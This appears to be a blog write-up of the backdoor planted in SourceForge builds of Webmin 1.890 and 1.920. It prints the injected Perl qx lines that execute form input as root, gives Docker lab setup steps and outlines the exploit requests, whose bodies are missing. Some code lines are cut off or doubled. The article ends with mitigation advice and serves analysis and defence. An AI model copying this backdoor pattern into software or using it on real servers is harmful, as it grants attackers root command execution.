Webmin: backdoor in the server control panel

Webmin: backdoor in the server control panel

Webmin is fully written in Perl, without using non-standard modules. It consists of a simple web server and several scripts – they link the commands that the user gives in the web interface, at the operating system level and external programs. Through the web-administrator, you can create new user accounts, mailboxes, change the settings of services and different services and all that.

Vulnerability can be found in password recovery module. By manipulating the old parameter in the password_change.cgi script, an attacker can execute arbitrary code on the target system with superuser privileges, suggesting that this bug is intentional. Even more suspiciously, the problem is only present in ready-to-build distributions with SourceForge, and not in the sources on GitHub.


To demonstrate the vulnerability we will need two versions of the Webmin distribution – 1.890 and 1.920, because the test environments are slightly different for them.

For this we will use two Docker containers.

$ docker run -it --rm -p10000:10000 --name=webminrce18 --hostname=webminrce18.vh debian /bin/bash
$ docker run -it --rm -p20000:10000 --name=webminrce19 --hostname=webminrce19.vh debian /bin/bash

Now let’s set the necessary dependencies.

$ apt-get update -y && apt install -y perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl nano wget python apt-show-versions

During the installation of apt-show-versions I had a problem (in the screenshot below).

The following commands help eliminate it:

$ apt-get purge -y apt-show-versions
$ rm /var/lib/apt/lists/*lz4
$ apt-get -o Acquire::GzipIndexes=false update -y
$ apt install -y apt-show-versions

After that we download the corresponding distribution versions from SourceForge.

$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.890_all.deb
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.920_all.deb

And we install them.

$ dpkg --install webmin_1.890_all.deb
$ dpkg --install webmin_1.920_all.deb

Now we launch Webmin daemons.

$ service webmin start

Version 1.890 is available on the default port 10000 and 1.920 on the default port 20000.

All that remains is to set a password for the user root using the command passwd, and the booths are ready. Let’s go to vulnerability details.


First we will deal with version 1.920. The problem is with the password change function, which is located in the file password_change.cgi. Since the problem only affects the SourceForge version of the app, it’s easy to see what the difference is with GitHub.

We see that the qx function call has been added.



40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});


40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Interesting changes. But let’s not hurry, first we will figure out how to get to this part of the code.

At the beginning of the script, it checks which password policy mode is selected in the settings.


12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

Let’s log in to the Webmin control panel as root and go to the authentication settings (Webmin → Webmin Configuration → Authentication), here you need to find Password expiry policy and install it in Prompt users with expired passwords to enter a new one.

Now the variable passwd_mode has the value 2, which can be checked in the configuration file, and the script execution will not be interrupted at the line 12.

To clearly see the form for changing the password, let’s go to the user editing section and create a test user. Here, let’s set the Force change at next login option.

Now when authorizing on his behalf, the system will ask to set a new password. The data from this form will be sent to the password_change.cgi script.

So, let’s fill out the form, send and intercept the request. Now let’s go back to the script. The $in array contains the user data that is transmitted in the POST request body.


15: $in{'new1'} ne '' || &pass_error($text{'password_enew1'});
16: $in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'});

It checks that the new password is set (new1) and it’s both times entered correctly (new1 == new2).

Webmin then checks if the module acl (access-control list) is present and usable.


19: if (&foreign_check("acl")) {

If there is such a module, we load it.

20: &foreign_require("acl", "acl-lib.pl");

It is clear from the name that the module works with the access control list. It performs various operations with users: editing, changing passwords and rights.

The script chooses a user to set a new password from the list of users. The username is taken from the user field of the password change form.



21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();

Let’s play a bit of testing and look at the $wuser variable. To do this, we need to add the Data::Dumper and then we can output the information about the variables using the Dumper($var_name) construct.



6: use Data::Dumper;
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users(); print Dumper($wus

There are two types of users in Webmin: system users, which exist directly in the OS, and application internal users. You can find the list of system users in Linux in the /etc/passwd file, which is where Webmin takes its information. Therefore these users will have the property pass as x.

If we use such a username in the form of a password change, it will not allow us to get to the right condition and get to the right piece of code.

$wuser = {
     'name' => 'root',
     'pass' => 'x',
     'readonly' => undef,
     'lastchange' => '',
     'real' => undef,
     'twofactor_apikey' => undef,
     'lang' => 'ru.UTF-8',


22: if ($wuser->{'pass'} eq 'x') {
23: # A Webmin user, but using Unix authentication
24: $wuser = undef;
25: }
37: if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

If you put the value of a variable right before the condition, you will see that it will be undef when trying to change the password for a system user.



37: print Dumper($wuser); if($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});

However, it is not so bad. If you specify a non-existent user, the variable becomes empty but not undefined. In this case, the condition if ($wuser) will be considered true.


37: print Dumper($wuser); if($wuser) {
38: # Update Webmin user's password
39: die 'We are here!'; $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});

Here, the old password that we passed in the form is compared to the current user password. Naturally, this part of the expression will be false, since there is no nonexistentuser user. Therefore, the second part of the condition is executed, where an error message is displayed, and what is added is what returns the qx/$in{'old'}/ construct.


37: if ($wuser) {
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

What is this function – qx? This is an alternative to using quotes in reverse to execute system commands. Any characters can be used as separators, in our case /. That is, to put it simply, a command will be executed which is passed as the user’s old password (old).

Let’s test this and try to pass, for example, uname -a.

POST /password_change.cgi HTTP/1.1
Host: webminrce19.vh:20000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: https://webminrce19.vh:20000/session_login.cgi


Voila! The command was executed and pass_error kindly provided the result of its work on the screen.

So, if Webmin 1.920’s password policy allows you to request new authentication credentials from users with expired passwords, this configuration allows you to remotely execute commands as a superuser.

This version has been dealt with, now let’s move on to the older 1.890.

Again we will compare the file password_change.cgi from two sources.


12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";


12: $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;

There is a similar design with qxqx/$in{'expired'}/, only this time it was used even more boldly.

First, I notice that instead of checking the password policy, a simple check of $in{'expired'} is used to see if it is empty. Since $in is the user data from the request, it is easy to get around this check. All you need to do is specify any value in expired when requesting the script. In addition, the data from this parameter is what will be executed. So we just specify the required command.

POST /password_change.cgi HTTP/1.1
Host: webminrce18.vh:10000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: https://webminrce18.vh:10000/session_login.cgi


And the server will return the result of its execution.


Today we have learned that we should not blindly trust even sources like sourceforge.net. If there are several ways to download apps, you can check their checksums. And if you put the distribution on a server where important data will be handled, this becomes even more relevant.

If you are a developer yourself, check more often what you download to different resources: the versions should not diverge. And it is even better to use some kind of automatic source audit tool that will warn about suspicious finds. This is not a panacea, of course, but in such cases it can help.

If you already use Webmin and want to get rid of the bookmark described, it is easy. All you need to do is remove the qx function call and return the passwd_mode check to Webmin version 1.890.

If you want to know more about how the backdoor got into the distribution’s release, I recommend that you read the official chronology of events written by the Webmin developers.


Link to original article.

WARNING! All links in the articles may lead to malicious sites or contain viruses. Follow them at your own risk. Those who purposely visit the article know what they are doing. Do not click on everything thoughtlessly.


0 0 vote
Article Rating
Notify of
Inline Feedbacks
View all comments

Do NOT follow this link or you will be banned from the site!
Would love your thoughts, please comment.x

Spelling error report

The following text will be sent to our editors: